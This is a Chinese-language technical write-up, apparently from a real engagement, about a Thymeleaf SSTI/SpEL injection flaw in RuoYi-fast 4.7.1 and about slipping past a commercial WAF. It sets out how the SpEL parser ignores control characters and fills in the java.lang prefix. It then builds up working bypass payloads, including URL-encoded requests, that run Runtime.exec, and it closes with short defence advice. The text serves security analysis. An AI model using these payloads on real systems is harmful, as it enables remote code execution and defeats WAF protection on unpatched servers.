记一次实战之若依SSTI注入绕过玄某盾
字数 1661 2025-08-27 12:33:48
Thymeleaf SSTI注入绕过玄某盾WAF技术分析
1. 漏洞背景
本文分析的是若依(RuoYi-fast)系统4.7.1版本中存在的Thymeleaf SSTI(服务器端模板注入)漏洞。该漏洞底层实际上是SpEL(Spring表达式语言)注入漏洞,但常规利用payload会被玄某盾WAF拦截。
2. 目标环境分析
原始测试环境:
- SpringBoot 2.7.1
- JDK 8
- 若依系统4.7.1版本
3. 原始payload分析
3.1 常见Thymeleaf SSTI payload
fragment=${T (java.lang.Runtime).getRuntime().exec('command')}
或
fragment=__${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x
这些payload会被玄某盾拦截,主要检测点:
${}模式T (java.lang.Runtime).getRuntime().exec('calc')这段SpEL表达式
3.2 WAF绕过思路
通过分析发现:
- 使用
__x代替${}可以绕过对${}的检测 - 关键在于如何绕过对SpEL表达式的检测
4. SpEL表达式深入分析
4.1 SpEL解析过程
SpEL表达式的解析主要在InternalSpelExpressionParser#doParseExpression方法中完成,关键步骤如下:
-
Tokenizer处理:
- 在
Tokenizer#Tokenizer方法中,会在SpEL表达式最后添加空白字符作为结束标记 Tokenizer#process方法以字符为单位遍历表达式内容
- 在
-
标识符处理:
- 当字符为a-z或A-Z时,执行
lexIdentifier方法 - 继续遍历直到字符不是a-z、A-Z、0-9、_、$为止
- 将遍历的字符封装在Token对象中,存储在List
tokens中
- 当字符为a-z或A-Z时,执行
-
特殊字符处理:
- 遇到
\u0000、\r、\n、\t、(空格)时不作任何处理 - 这些字符的URL编码:
\u0000→%00\r→%0d\n→%0a\t→%09- 空格 →
%20
- 遇到
4.2 SpEL执行过程
-
TypeReference处理:
- 表达式以
T开头时,对应org.springframework.expression.spel.ast.TypeReference类 TypeReference#getValueInternal方法根据字符串typeName获取对应的Class对象实例
- 表达式以
-
类查找机制:
- 通过
ExpressionState#findType查找typeName对应的Class - 默认使用
StandardTypeLocator,会自动添加java.lang前缀 - 当直接查找失败时,会尝试添加
java.lang前缀后再次查找
- 通过
5. Payload演变过程
5.1 原始payload
T (java.lang.Runtime).getRuntime().exec('calc')
5.2 第一次绕过:添加特殊字符
T (%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
URL编码版本:
http://localhost:9898/index?s=T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)
5.3 第二次绕过:利用自动补全机制
利用StandardTypeLocator会自动添加java.lang前缀的特性:
T (%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
URL编码版本:
http://localhost:9898/index?s=T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)
6. 最终Thymeleaf SSTI绕过payload
结合上述分析,最终的绕过payload为:
__${T (%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
7. 技术要点总结
- Thymeleaf SSTI本质:底层触发的是SpEL表达式注入
- WAF绕过关键:
- 使用
__x代替${}绕过对${}的检测 - 在SpEL表达式中插入特殊字符(
%00,%0a,%0d,%09)绕过对关键字的检测 - 利用SpEL的自动补全机制省略
java.lang前缀
- 使用
- SpEL特性利用:
- 解析器对特殊字符的忽略特性
StandardTypeLocator的自动补全机制
8. 防御建议
- 升级Thymeleaf和Spring框架到最新版本
- 禁用或限制SpEL表达式的功能
- 在WAF规则中添加对特殊字符组合的检测
- 对用户输入进行严格的过滤和验证